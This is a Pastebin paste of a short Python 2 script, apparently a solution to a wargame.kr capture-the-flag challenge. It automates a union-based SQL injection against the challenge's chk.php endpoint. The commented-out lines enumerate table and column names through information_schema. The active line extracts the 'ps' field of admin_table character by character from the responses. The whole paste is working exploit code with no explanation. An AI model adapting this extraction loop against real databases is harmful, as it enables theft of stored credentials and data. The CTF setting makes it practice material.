hdarwin

wargame.kr_ip log table

Mar 19th, 2013
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.84 KB | None | 0 0
  1. import urllib2, urllib
  2. l = []
  3. for y in xrange(0, 100):
  4.     for x in xrange(1,100):
  5.         #d = "idx=0 union select ascii(substr((select table_name from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(y)+", 1),"+str(x)+",1))"
  6.         #d = "idx=0 union select ascii(substr((select column_name from information_schema.columns where table_name = 0x61646d696e5f7461626c65 limit "+str(y)+", 1),"+str(x)+",1))"
  7.         d = "idx=0 union select ascii(substr((select ps from admin_table limit "+str(y)+", 1),"+str(x)+",1))"
  8.         r = urllib2.Request('http://wargame.kr:8080/prob/9/chk.php', d)
  9.         c = urllib2.urlopen(r).read()
  10.         if int(c[-8])*60+int(c[-6:-4]) != 0: l.append(chr(int(c[-8])*60+int(c[-6:-4])))
  11.         else: break
  12.     if(''.join(l) == ''):break
  13.     else: print ''.join(l)
  14.     l = []
Advertisement
Add Comment
Please, Sign In to add comment